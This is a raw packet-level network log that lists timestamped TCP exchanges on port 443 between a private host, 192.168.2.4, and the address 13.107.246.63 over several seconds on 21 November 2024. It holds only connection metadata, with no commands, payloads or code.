Nov 21, 2024 22:10:59.032273054 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.605947971 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.606538057 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.606575966 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.607001066 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.607007980 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.641355991 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.641876936 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.641910076 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.642333984 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.642338991 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.062572956 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.065970898 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.066041946 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.066154957 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.066154957 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.066217899 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.066245079 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.068633080 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.068732023 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.068833113 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.068998098 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.069032907 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.090130091 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.090240955 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.090292931 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.090315104 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.090342045 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.090388060 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.090406895 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.090421915 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.090430975 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.090435982 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.092467070 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.092489958 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.092555046 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.092677116 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.092686892 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.300760984 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.301414013 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.301485062 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.301868916 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.301882982 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.319588900 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.319924116 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.320004940 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.320278883 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.320292950 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.745122910 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.747843981 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.748356104 CET	49966	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.748418093 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.748439074 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.748502970 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.748555899 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.748555899 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.748594046 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.748635054 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.748861074 CET	49966	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.748873949 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.751270056 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.751385927 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.751497984 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.751630068 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.751666069 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.763943911 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.767060995 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.767117023 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.767118931 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.767175913 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.767218113 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.767242908 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.767258883 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.767266035 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.769359112 CET	49970	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.769411087 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:00.769490957 CET	49970	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.769623995 CET	49970	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:00.769639015 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.187122107 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.190210104 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.190294027 CET	49966	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.205524921 CET	49966	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.205526114 CET	49966	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.205602884 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.205652952 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.212728977 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.212831020 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.212917089 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.213176966 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.213264942 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.816610098 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.817044020 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.817080975 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.817466021 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.817472935 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.855479002 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.855911970 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.855986118 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:01.856334925 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:01.856348991 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.267052889 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.270191908 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.270299911 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.270344019 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.270371914 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.270386934 CET	49968	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.270394087 CET	443	49968	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.272864103 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.272989035 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.273085117 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.273212910 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.273236990 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.302052975 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.304928064 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.305000067 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.305006981 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.305073023 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.305123091 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.305123091 CET	49967	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.305170059 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.305198908 CET	443	49967	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.307822943 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.307919979 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.308079004 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.308147907 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.308171988 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.480707884 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.481442928 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.481513023 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.481966972 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.481973886 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.486967087 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.487519026 CET	49970	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.487545967 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.488465071 CET	49970	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.488471985 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.936753988 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.939954042 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.940197945 CET	49970	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.940567017 CET	49970	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.940598965 CET	443	49970	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.943356991 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.943465948 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.943840981 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.943958998 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.943985939 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.948569059 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.951780081 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.951845884 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.951841116 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.951908112 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.952001095 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.952001095 CET	49969	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.952048063 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.952075958 CET	443	49969	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.954590082 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.954690933 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:02.954778910 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.954922915 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:02.954958916 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.152929068 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.153479099 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.153517008 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.153945923 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.153951883 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.605736971 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.614006042 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.614711046 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.614778996 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.614778996 CET	49971	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.614804029 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.614820004 CET	443	49971	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.617341042 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.617387056 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:03.617563009 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.617698908 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:03.617713928 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.088545084 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.089131117 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.089225054 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.089576960 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.089595079 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.135533094 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.139370918 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.139405966 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.139833927 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.139844894 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.536417007 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.539685965 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.539767981 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.539834023 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.539872885 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.539947987 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.540013075 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.540050983 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.540050983 CET	49973	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.540071964 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.540091038 CET	443	49973	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.542829990 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.542895079 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.542995930 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.543154001 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.543189049 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.589025021 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.592015028 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.592106104 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.592166901 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.592166901 CET	49972	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.592211962 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.592238903 CET	443	49972	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.595164061 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.595218897 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.595340014 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.595484018 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.595494986 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.730098963 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.731292009 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.731328011 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.731921911 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.731928110 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.739561081 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.742347956 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.742378950 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:04.742769957 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:04.742782116 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.180366993 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.180537939 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.180632114 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.180727005 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.180727005 CET	49974	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.180775881 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.180804014 CET	443	49974	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.183326960 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.183381081 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.183459044 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.183614016 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.183629990 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.187381029 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.190350056 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.190432072 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.190463066 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.190535069 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.190589905 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.190632105 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.190665007 CET	49975	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.190681934 CET	443	49975	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.192511082 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.192552090 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.192636967 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.192755938 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.192769051 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.481458902 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.511044025 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.511061907 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.511509895 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.511514902 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.937623024 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.940711021 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.940795898 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.940851927 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.940871954 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.940881014 CET	49976	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.940886021 CET	443	49976	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.943811893 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.943919897 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:05.944473982 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.944715977 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:05.944753885 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.276943922 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.279350996 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.279428959 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.279789925 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.279803991 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.380497932 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.383371115 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.383395910 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.383841038 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.383846998 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.719763994 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.722610950 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.723859072 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.723859072 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.723859072 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.726540089 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.726583004 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.726665974 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.726814985 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.726830006 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.830250978 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.832568884 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.832695007 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.832842112 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.832842112 CET	49978	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.832868099 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.832880974 CET	443	49978	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.835464954 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.835521936 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.835618019 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.835777998 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.835804939 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.942135096 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.942615032 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.942625999 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.943092108 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.943097115 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.979299068 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.979723930 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.979820967 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:06.980132103 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:06.980146885 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.026150942 CET	49977	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.026221991 CET	443	49977	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.392667055 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.395427942 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.395483017 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.395571947 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.395571947 CET	49980	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.395591021 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.395601034 CET	443	49980	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.400815964 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.400917053 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.401300907 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.401441097 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.401472092 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.428483009 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.431401014 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.431555033 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.431750059 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.431751013 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.431751013 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.435281038 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.435333014 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.436721087 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.436862946 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.436872959 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.733084917 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.733624935 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.733660936 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.734102964 CET	49981	443	192.168.2.4	13.107.246.63
